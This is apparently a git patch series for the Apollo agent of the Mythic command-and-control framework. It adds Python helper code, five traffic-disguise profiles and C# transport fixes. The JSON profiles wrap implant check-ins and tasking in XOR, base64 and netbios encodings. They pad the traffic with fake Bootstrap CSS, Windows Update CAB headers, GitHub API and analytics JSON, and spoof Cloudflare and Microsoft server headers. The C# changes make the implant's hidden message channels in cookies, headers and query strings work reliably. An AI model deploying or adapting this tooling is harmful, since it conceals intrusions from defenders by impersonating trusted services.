message.Callbacks: - if callback.SleepInfo == "": - continue # can't do anything if we don't know the expected sleep info of the agent - try: - sleep_info = json.loads(callback.SleepInfo) - except Exception as e: - continue - atLeastOneCallbackWithinRange = False - try: - for activeC2, info in sleep_info.items(): - if activeC2 == "websocket" and callback.LastCheckin == "1970-01-01 00:00:00Z": - atLeastOneCallbackWithinRange = True - continue - checkinRangeResponse = await SendMythicRPCCallbackNextCheckinRange( - MythicRPCCallbackNextCheckinRangeMessage( - LastCheckin=callback.LastCheckin, - SleepJitter=info["jitter"], - SleepInterval=info["interval"], - )) - if not checkinRangeResponse.Success: - continue - lastCheckin = datetime.datetime.strptime(callback.LastCheckin, '%Y-%m-%dT%H:%M:%S.%fZ') - minCheckin = datetime.datetime.strptime(checkinRangeResponse.Min, '%Y-%m-%dT%H:%M:%S.%fZ') - maxCheckin = datetime.datetime.strptime(checkinRangeResponse.Max, '%Y-%m-%dT%H:%M:%S.%fZ') - if minCheckin <= lastCheckin <= maxCheckin: - atLeastOneCallbackWithinRange = True - response.Callbacks.append(PTCallbacksToCheckResponse( - ID=callback.ID, - Alive=atLeastOneCallbackWithinRange, - )) - except Exception as e: - logger.info(e) - logger.info(callback.to_json()) - return response - - -def get_csharp_files(base_path: str) -> list[str]: - results = [] - for root, dirs, files in os.walk(base_path): - for name in files: - if fnmatch.fnmatch(name, "*.cs"): - results.append(os.path.join(root, name)) - if len(results) == 0: - raise Exception("No payload files found with extension .cs") - return results - - -def adjust_file_name(filename, shellcode_format, output_type, adjust_filename): - if not adjust_filename: - return filename - filename_pieces = filename.split(".") - original_filename = ".".join(filename_pieces[:-1]) - if output_type == "WinExe": - return original_filename + ".exe" - elif output_type == "Service": - return original_filename + ".exe" - elif output_type == "Source": - return original_filename + ".zip" - elif shellcode_format == "Binary": - return original_filename + ".bin" - elif shellcode_format == "Base64": - return original_filename + ".txt" - elif shellcode_format == "C": - return original_filename + ".c" - elif shellcode_format == "Ruby": - return original_filename + ".rb" - elif shellcode_format == "Python": - return original_filename + ".py" - elif shellcode_format == "Powershell": - return original_filename + ".ps1" - elif shellcode_format == "C#": - return original_filename + ".cs" - elif shellcode_format == "Hex": - return original_filename + ".txt" - else: - return filename From c4440dade373a08e83b37ef3dfa8b7db162df5fa Mon Sep 17 00:00:00 2001 From: melvin Date: Sun, 2 Nov 2025 14:08:22 +0100 Subject: [PATCH 27/37] Added some examples profiles --- .../cdn-asset-delivery.json | 149 +++++++++++ .../cloud-analytics.json | 233 ++++++++++++++++++ .../enterprise-data-management.json | 157 ++++++++++++ malleable-profile-examples/github-api.json | 217 ++++++++++++++++ .../windows-update-service.json | 149 +++++++++++ 5 files changed, 905 insertions(+) create mode 100644 malleable-profile-examples/cdn-asset-delivery.json create mode 100644 malleable-profile-examples/cloud-analytics.json create mode 100644 malleable-profile-examples/enterprise-data-management.json create mode 100644 malleable-profile-examples/github-api.json create mode 100644 malleable-profile-examples/windows-update-service.json diff --git a/malleable-profile-examples/cdn-asset-delivery.json b/malleable-profile-examples/cdn-asset-delivery.json new file mode 100644 index 00000000..c2bf70d4 --- /dev/null +++ b/malleable-profile-examples/cdn-asset-delivery.json @@ -0,0 +1,149 @@ +{ + "name": "CDN Asset Delivery Service", + "get": { + "verb": "GET", + "uris": [ + "/assets/bootstrap-5.3.2.min.css", + "/cdn/bootstrap/5.3.2/css/bootstrap.min.css", + "/static/libs/bootstrap/css/bootstrap.min.css" + ], + "client": { + "headers": { + "Accept": "text/css,*/*;q=0.1", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Cache-Control": "no-cache", + "Pragma": "no-cache", + "Referer": "https://cdn.example.net/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" + }, + "parameters": { + "v": "5.3.2", + "t": "20240415" + }, + "message": { + "location": "cookie", + "name": "__cdn_session" + }, + "transforms": [ + { + "action": "netbiosu", + "value": "" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "xor", + "value": "cdnAssetDelivery2024" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "public, max-age=31536000, immutable", + "Connection": "keep-alive", + "Content-Type": "text/css; charset=utf-8", + "Content-Encoding": "gzip", + "ETag": "\"5.3.2-abc123\"", + "Server": "Cloudflare", + "CF-Ray": "8a1b2c3d4e5f6789-ORD" + }, + "transforms": [ + { + "action": "prepend", + "value": "/*! Bootstrap v5.3.2 | MIT License | https://getbootstrap.com */" + }, + { + "action": "append", + "value": "@media (min-width: 992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}}" + }, + { + "action": "xor", + "value": "cdnResponseKey2024" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "netbiosu", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/assets/bootstrap-5.3.2.min.css", + "/cdn/bootstrap/5.3.2/css/bootstrap.min.css", + "/static/libs/bootstrap/css/bootstrap.min.css" + ], + "client": { + "headers": { + "Accept": "text/css,*/*;q=0.1", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://cdn.example.net", + "Referer": "https://cdn.example.net/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "cdnPostDelivery2024" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Cache-Control": "no-cache, no-store, must-revalidate", + "Connection": "keep-alive", + "Content-Type": "text/css; charset=utf-8", + "Server": "Cloudflare", + "CF-Ray": "8a1b2c3d4e5f6790-ORD", + "X-Content-Type-Options": "nosniff" + }, + "transforms": [ + { + "action": "prepend", + "value": "/*! Bootstrap v5.3.2 | MIT License | https://getbootstrap.com */" + }, + { + "action": "append", + "value": "@media (min-width: 992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}}" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "cdnPostResponse2024" + } + ] + } + } +} \ No newline at end of file diff --git a/malleable-profile-examples/cloud-analytics.json b/malleable-profile-examples/cloud-analytics.json new file mode 100644 index 00000000..d8d7f8ab --- /dev/null +++ b/malleable-profile-examples/cloud-analytics.json @@ -0,0 +1,233 @@ +{ + "name": "Cloud Analytics Platform", + "get": { + "verb": "GET", + "uris": [ + "/v1/analytics/metrics/dashboard", + "/v1/reports/performance/export", + "/api/v2/events/aggregate" + ], + "client": { + "headers": { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", + "Connection": "keep-alive", + "Origin": "https://analytics.example.com", + "Referer": "https://analytics.example.com/dashboard", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest", + "X-Client-Version": "2.15.3" + }, + "parameters": { + "startDate": "2024-04-01", + "endDate": "2024-04-15", + "timezone": "UTC", + "format": "json" + }, + "message": { + "location": "query", + "name": "filter" + }, + "transforms": [ + { + "action": "xor", + "value": "analyticsQueryKey2024" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "prepend", + "value": "filter=" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "nginx/1.24.0", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "X-XSS-Protection": "1; mode=block", + "Cache-Control": "private, no-cache, no-store, must-revalidate", + "Pragma": "no-cache", + "Expires": "0" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"success\",\"data\":{\"metrics\":{\"totalEvents\":" + }, + { + "action": "append", + "value": ",\"uniqueUsers\":1234,\"avgSessionDuration\":180.5,\"timestamp\":\"2024-04-15T12:00:00Z\"},\"meta\":{\"page\":1,\"limit\":100}}}" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "xor", + "value": "analyticsResponseKey2024" + }, + { + "action": "netbiosu", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/v1/analytics/events/track", + "/v1/reports/generate", + "/api/v2/batch" + ], + "client": { + "headers": { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Origin": "https://analytics.example.com", + "Referer": "https://analytics.example.com/dashboard", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest", + "X-Client-Version": "2.15.3" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "trackEventSecret2024" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "{\"events\":[{\"type\":\"pageview\",\"properties\":" + }, + { + "action": "append", + "value": ",\"timestamp\":\"2024-04-15T12:00:00Z\",\"userId\":\"user123\"}],\"context\":{\"ip\":\"192.168.1.1\",\"userAgent\":\"Mozilla/5.0\"}}" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "nginx/1.24.0", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "X-Request-Id": "req-abc123def456", + "Cache-Control": "private, no-cache, no-store, must-revalidate" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"success\",\"message\":\"Events processed\",\"eventIds\":[\"evt-" + }, + { + "action": "append", + "value": "\"],\"processedAt\":\"2024-04-15T12:00:00Z\",\"count\":1}" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "trackResponseSecret2024" + } + ] + } + }, + "patch": { + "verb": "PATCH", + "uris": [ + "/v1/analytics/users/update", + "/api/v2/configurations/preferences" + ], + "client": { + "headers": { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", + "Connection": "keep-alive", + "Content-Type": "application/json", + "If-Match": "\"abc123\"", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" + }, + "parameters": null, + "message": { + "location": "cookie", + "name": "sessionId" + }, + "transforms": [ + { + "action": "base64url", + "value": "" + }, + { + "action": "xor", + "value": "patchUpdateKey2024" + }, + { + "action": "netbiosu", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "nginx/1.24.0", + "ETag": "\"xyz789\"", + "X-Request-Id": "req-def456ghi789", + "Cache-Control": "private, no-cache" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"updated\",\"resource\":{\"id\":\"" + }, + { + "action": "append", + "value": "\",\"updatedAt\":\"2024-04-15T12:00:00Z\",\"version\":2}}" + }, + { + "action": "netbiosu", + "value": "" + }, + { + "action": "xor", + "value": "patchResponseKey2024" + }, + { + "action": "base64url", + "value": "" + } + ] + } + } +} + diff --git a/malleable-profile-examples/enterprise-data-management.json b/malleable-profile-examples/enterprise-data-management.json new file mode 100644 index 00000000..99dcdcc4 --- /dev/null +++ b/malleable-profile-examples/enterprise-data-management.json @@ -0,0 +1,157 @@ +{ + "name": "Enterprise Data Management", + "get": { + "verb": "GET", + "uris": [ + "/v3/storage/datasets/list", + "/v3/analytics/reports/export", + "/v3/inventory/assets/query" + ], + "client": { + "headers": { + "Accept": "application/json, text/xml", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=", + "Connection": "keep-alive", + "X-API-Version": "3.2", + "X-Client-ID": "enterprise-client-v2.4.1", + "User-Agent": "EnterpriseDataClient/2.4.1 (Java/17.0.2; Windows Server 2022)" + }, + "parameters": { + "limit": "50", + "offset": "0", + "sort": "desc" + }, + "message": { + "location": "header", + "name": "X-Request-ID" + }, + "transforms": [ + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "enterpriseDataKey2024" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "Apache/2.4.57", + "X-Request-ID": "req-xyz789abc123", + "X-Page-Count": "15", + "X-Total-Count": "750", + "Cache-Control": "private, max-age=300", + "Expires": "Wed, 15 Apr 2025 12:05:00 GMT" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"result\":{\"items\":" + }, + { + "action": "append", + "value": "},\"pagination\":{\"page\":1,\"totalPages\":15,\"itemsPerPage\":50},\"timestamp\":\"2025-04-15T12:00:00Z\"}}" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "xor", + "value": "enterpriseResponseKey2024" + }, + { + "action": "netbios", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/v3/storage/backup/create", + "/v3/logging/events/submit", + "/v3/notifications/broadcast" + ], + "client": { + "headers": { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "Basic dXNlcm5hbWU6cGFzc3dvcmQ=", + "Connection": "keep-alive", + "Content-Type": "application/json", + "X-API-Version": "3.2", + "X-Client-ID": "enterprise-client-v2.4.1", + "User-Agent": "EnterpriseDataClient/2.4.1 (Java/17.0.2; Windows Server 2022)" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "backupCreateSecret2024" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "netbiosu", + "value": "" + }, + { + "action": "prepend", + "value": "{\"operation\":\"backup\",\"config\":" + }, + { + "action": "append", + "value": ",\"scheduled\":true,\"created\":\"2025-04-15T12:00:00Z\"}" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "Apache/2.4.57", + "X-Request-ID": "req-abc456def789", + "Location": "/v3/storage/backup/status/backup-xyz123", + "Cache-Control": "no-cache, no-store", + "X-Operation-ID": "op-backup-xyz123" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"status\":\"accepted\",\"operationId\":\"backup-xyz123\",\"message\":\"Backup operation queued\",\"estimatedCompletion\":\"2025-04-15T13:00:00Z\",\"details\":" + }, + { + "action": "append", + "value": "}" + }, + { + "action": "netbiosu", + "value": "" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "xor", + "value": "backupResponseSecret2024" + } + ] + } + } +} \ No newline at end of file diff --git a/malleable-profile-examples/github-api.json b/malleable-profile-examples/github-api.json new file mode 100644 index 00000000..ffca6e1b --- /dev/null +++ b/malleable-profile-examples/github-api.json @@ -0,0 +1,217 @@ +{ + "name": "GitHub API Integration", + "get": { + "verb": "GET", + "uris": [ + "/api/graphql", + "/api/v4/graphql", + "/api/v3/repos/octocat/Hello-World/commits" + ], + "client": { + "headers": { + "Accept": "application/vnd.github.v3+json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1", + "Connection": "keep-alive", + "User-Agent": "GitHub-Hookshot/461e8be", + "X-GitHub-Event": "push", + "X-GitHub-Delivery": "f246e7f4-8fd8-11eb-bffc-f2216662c3f0" + }, + "parameters": { + "per_page": "30", + "page": "1", + "sort": "updated" + }, + "message": { + "location": "header", + "name": "X-GitHub-Request-Id" + }, + "transforms": [ + { + "action": "netbiosu", + "value": "" + }, + { + "action": "xor", + "value": "ghubSecret2024" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "GitHub.com", + "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5678", + "X-RateLimit-Limit": "5000", + "X-RateLimit-Remaining": "4999", + "X-RateLimit-Reset": "1619999999", + "Strict-Transport-Security": "max-age=31536000; includeSubdomains" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"data\":{\"repository\":{\"commits\":{\"nodes\":[" + }, + { + "action": "append", + "value": "]}},\"rateLimit\":{\"limit\":5000,\"remaining\":4999,\"resetAt\":\"2024-04-15T12:00:00Z\"}}}" + }, + { + "action": "base64url", + "value": "" + }, + { + "action": "xor", + "value": "ghubResponse2024" + }, + { + "action": "netbiosu", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/api/v3/repos/owner/repo/issues", + "/api/v3/repos/owner/repo/pulls", + "/api/v3/orgs/owner/teams" + ], + "client": { + "headers": { + "Accept": "application/vnd.github.v3+json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1", + "Connection": "keep-alive", + "Content-Type": "application/json", + "User-Agent": "GitHub-Hookshot/461e8be", + "X-GitHub-Event": "issues", + "X-GitHub-Delivery": "f246e7f4-8fd8-11eb-bffc-f2216662c3f0" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "xor", + "value": "ghubPostSecret" + }, + { + "action": "netbios", + "value": "" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "prepend", + "value": "{\"title\":\"Issue\",\"body\":\"" + }, + { + "action": "append", + "value": "\",\"labels\":[\"bug\"],\"assignees\":[]}" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "GitHub.com", + "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5678", + "X-RateLimit-Limit": "5000", + "X-RateLimit-Remaining": "4998", + "Location": "https://api.github.com/repos/owner/repo/issues/123", + "Strict-Transport-Security": "max-age=31536000; includeSubdomains" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"id\":12345,\"url\":\"https://api.github.com/repos/owner/repo/issues/123\",\"number\":123,\"state\":\"open\",\"created_at\":\"2024-04-15T12:00:00Z\",\"body\":\"" + }, + { + "action": "append", + "value": "\",\"user\":{\"login\":\"octocat\",\"id\":1,\"type\":\"User\"}}" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "ghubServerKey" + } + ] + } + }, + "put": { + "verb": "PUT", + "uris": [ + "/api/v3/repos/owner/repo/contents/path/to/file", + "/api/v3/user/starred/owner/repo" + ], + "client": { + "headers": { + "Accept": "application/vnd.github.v3+json", + "Accept-Encoding": "gzip, deflate, br", + "Authorization": "token ghp_16C7e42F292c6912E7710c8C0E2b8E1", + "Connection": "keep-alive", + "Content-Type": "application/json", + "User-Agent": "GitHub-Hookshot/461e8be" + }, + "parameters": null, + "message": { + "location": "body", + "name": "" + }, + "transforms": [ + { + "action": "base64url", + "value": "" + }, + { + "action": "xor", + "value": "putContentKey" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "GitHub.com", + "X-GitHub-Request-Id": "A1B2:C3D4:E5F6:1234:5679", + "ETag": "\"abc123def456\"" + }, + "transforms": [ + { + "action": "prepend", + "value": "{\"content\":{\"name\":\"file.txt\",\"path\":\"path/to/file\",\"sha\":\"" + }, + { + "action": "append", + "value": "\",\"size\":1024,\"url\":\"https://api.github.com/repos/owner/repo/contents/path/to/file\"}}" + }, + { + "action": "xor", + "value": "putResponseKey" + }, + { + "action": "base64url", + "value": "" + } + ] + } + } +} + diff --git a/malleable-profile-examples/windows-update-service.json b/malleable-profile-examples/windows-update-service.json new file mode 100644 index 00000000..e8691dd7 --- /dev/null +++ b/malleable-profile-examples/windows-update-service.json @@ -0,0 +1,149 @@ +{ + "name": "Windows Update Service", + "get": { + "verb": "GET", + "uris": [ + "/update/v6/download/package/cab", + "/update/v6/wsusscan/package.cab", + "/update/v6/content/download/package.cab" + ], + "client": { + "headers": { + "Accept": "application/vnd.microsoft.update.cab, application/octet-stream, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "Keep-Alive", + "Cache-Control": "no-cache", + "User-Agent": "Windows-Update-Agent/10.0.19041.3880 Client-Protocol/2.0" + }, + "parameters": { + "pid": "100", + "pidver": "10.0", + "bld": "19041", + "arch": "x64" + }, + "message": { + "location": "query", + "name": "rev" + }, + "transforms": [ + { + "action": "netbios", + "value": "" + }, + { + "action": "xor", + "value": "windowsUpdateKey2025" + }, + { + "action": "base64url", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "application/vnd.microsoft.update.cab", + "Server": "Microsoft-HTTPAPI/2.0", + "X-MicrosoftUpdate-Version": "10.0.19041.3880", + "Connection": "keep-alive", + "Cache-Control": "public, max-age=86400", + "X-Powered-By": "ASP.NET", + "Content-Disposition": "attachment; filename=update.cab" + }, + "transforms": [ + { + "action": "prepend", + "value": "MSCF\u0000\u0000\u0000\u0000" + }, + { + "action": "append", + "value": "\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "xor", + "value": "windowsUpdateResponse2025" + }, + { + "action": "netbios", + "value": "" + } + ] + } + }, + "post": { + "verb": "POST", + "uris": [ + "/update/v6/wsusscan/report.aspx", + "/update/v6/content/submit.aspx", + "/update/v6/telemetry/report.aspx" + ], + "client": { + "headers": { + "Accept": "text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "Keep-Alive", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": "Windows-Update-Agent/10.0.19041.3880 Client-Protocol/2.0" + }, + "parameters": null, + "message": { + "location": "body", + "name": "data" + }, + "transforms": [ + { + "action": "netbiosu", + "value": "" + }, + { + "action": "xor", + "value": "wsusReportKey2025" + }, + { + "action": "base64", + "value": "" + } + ] + }, + "server": { + "headers": { + "Content-Type": "text/html; charset=utf-8", + "Server": "Microsoft-HTTPAPI/2.0", + "X-MicrosoftUpdate-Version": "10.0.19041.3880", + "X-Powered-By": "ASP.NET", + "Connection": "keep-alive", + "Cache-Control": "no-cache, no-store, must-revalidate", + "Pragma": "no-cache", + "Expires": "0" + }, + "transforms": [ + { + "action": "prepend", + "value": "Update Report Submitted
" + }, + { + "action": "append", + "value": "
" + }, + { + "action": "base64", + "value": "" + }, + { + "action": "netbiosu", + "value": "" + }, + { + "action": "xor", + "value": "wsusResponseKey2025" + } + ] + } + } +} \ No newline at end of file From 899b74644e370e8b75ccaf430ae8fb4982f78703 Mon Sep 17 00:00:00 2001 From: melvin Date: Mon, 3 Nov 2025 13:11:33 +0100 Subject: [PATCH 28/37] Fix httpx malleable profile issues: query param conflicts, response extraction, method validation, and header encoding --- .../agent_code/HttpxProfile/HttpxProfile.cs | 137 ++++++++++++++++-- .../agent_code/HttpxTransform/HttpxConfig.cs | 78 ++++++---- 2 files changed, 172 insertions(+), 43 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index cfe23250..ea826981 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -227,6 +227,25 @@ private bool IsRestrictedHeader(string headerName) return RestrictedHeaders.Contains(headerName); } + /// + /// Check if a string contains invalid characters for HTTP headers + /// HTTP headers should only contain printable ASCII (0x20-0x7E) and no CR/LF + /// + private bool ContainsInvalidHeaderChars(string value) + { + if (string.IsNullOrEmpty(value)) return false; + + foreach (char c in value) + { + // Check for non-printable ASCII or CR/LF + if (c < 0x20 || c > 0x7E || c == '\r' || c == '\n') + { + return true; + } + } + return false; + } + private void LoadHttpxConfig(string configData) { #if DEBUG @@ -404,11 +423,27 @@ public bool SendRecv(T message, OnResponse onResponse) } } // Add message parameter - // NOTE: transformedData is already URL-safe (base64url/netbios/netbiosu) - // Do NOT apply Uri.EscapeDataString to avoid double-encoding - if (!string.IsNullOrEmpty(queryParam)) - queryParam += "&"; - queryParam += $"{variation.Client.Message.Name}={Encoding.UTF8.GetString(transformedData)}"; + string transformedString = Encoding.UTF8.GetString(transformedData); + + // Check if the transformed data already contains a query parameter pattern (e.g., "filter=" from prepend transform) + // If it does and matches the message name, use it directly to avoid duplication + string paramPrefix = variation.Client.Message.Name + "="; + if (transformedString.StartsWith(paramPrefix)) + { + // Transformed data already includes parameter name (from prepend transform), use as-is + if (!string.IsNullOrEmpty(queryParam)) + queryParam += "&"; + queryParam += transformedString; + } + else + { + // Standard case: add parameter name + // NOTE: transformedData is already URL-safe (base64url/netbios/netbiosu) + // Do NOT apply Uri.EscapeDataString to avoid double-encoding + if (!string.IsNullOrEmpty(queryParam)) + queryParam += "&"; + queryParam += $"{variation.Client.Message.Name}={transformedString}"; + } url = url.Split('?')[0] + "?" + queryParam; break; @@ -533,11 +568,28 @@ public bool SendRecv(T message, OnResponse onResponse) switch (variation.Client.Message.Location.ToLower()) { case "cookie": - request.Headers[HttpRequestHeader.Cookie] = $"{variation.Client.Message.Name}={Uri.EscapeDataString(Encoding.UTF8.GetString(transformedData))}"; + // Convert transformed data to string for cookie value + // For netbios/netbiosu, the data is already ASCII-printable letters + // URL encoding is needed for cookies to handle any special characters + string cookieValue = Encoding.UTF8.GetString(transformedData); + request.Headers[HttpRequestHeader.Cookie] = $"{variation.Client.Message.Name}={Uri.EscapeDataString(cookieValue)}"; break; case "header": - request.Headers[variation.Client.Message.Name] = Encoding.UTF8.GetString(transformedData); + // Convert transformed data to string for header value + // Headers can contain ASCII characters; netbios produces lowercase letters (a-p), netbiosu produces uppercase (A-P) + // These are safe for HTTP headers, but we should validate they're valid header characters + string headerValue = Encoding.UTF8.GetString(transformedData); + + // HTTP headers should only contain printable ASCII characters (0x20-0x7E) and not contain CR/LF + // If the transformed data contains non-printable characters, we might need base64 encoding + // For now, use as-is since netbios/netbiosu produce printable ASCII + if (ContainsInvalidHeaderChars(headerValue)) + { + // If header contains invalid characters, base64 encode it + headerValue = Convert.ToBase64String(transformedData); + } + request.Headers[variation.Client.Message.Name] = headerValue; break; } @@ -556,8 +608,10 @@ public bool SendRecv(T message, OnResponse onResponse) // Get response string response; - using (HttpWebResponse httpResponse = (HttpWebResponse)request.GetResponse()) + HttpWebResponse httpResponse = null; + try { + httpResponse = (HttpWebResponse)request.GetResponse(); using (Stream responseStream = httpResponse.GetResponseStream()) { using (StreamReader reader = new StreamReader(responseStream)) @@ -566,11 +620,15 @@ public bool SendRecv(T message, OnResponse onResponse) } } } + finally + { + httpResponse?.Close(); + } HandleDomainSuccess(); // Extract response data based on server configuration - byte[] responseBytes = ExtractResponseData(response, variation.Server); + byte[] responseBytes = ExtractResponseData(response, httpResponse, variation.Server); // Apply server transforms (reverse) byte[] untransformedData = TransformChain.ApplyServerTransforms(responseBytes, variation.Server.Transforms); @@ -625,10 +683,65 @@ public bool SendRecv(T message, OnResponse onResponse) } } - private byte[] ExtractResponseData(string response, ServerConfig serverConfig) + private byte[] ExtractResponseData(string response, 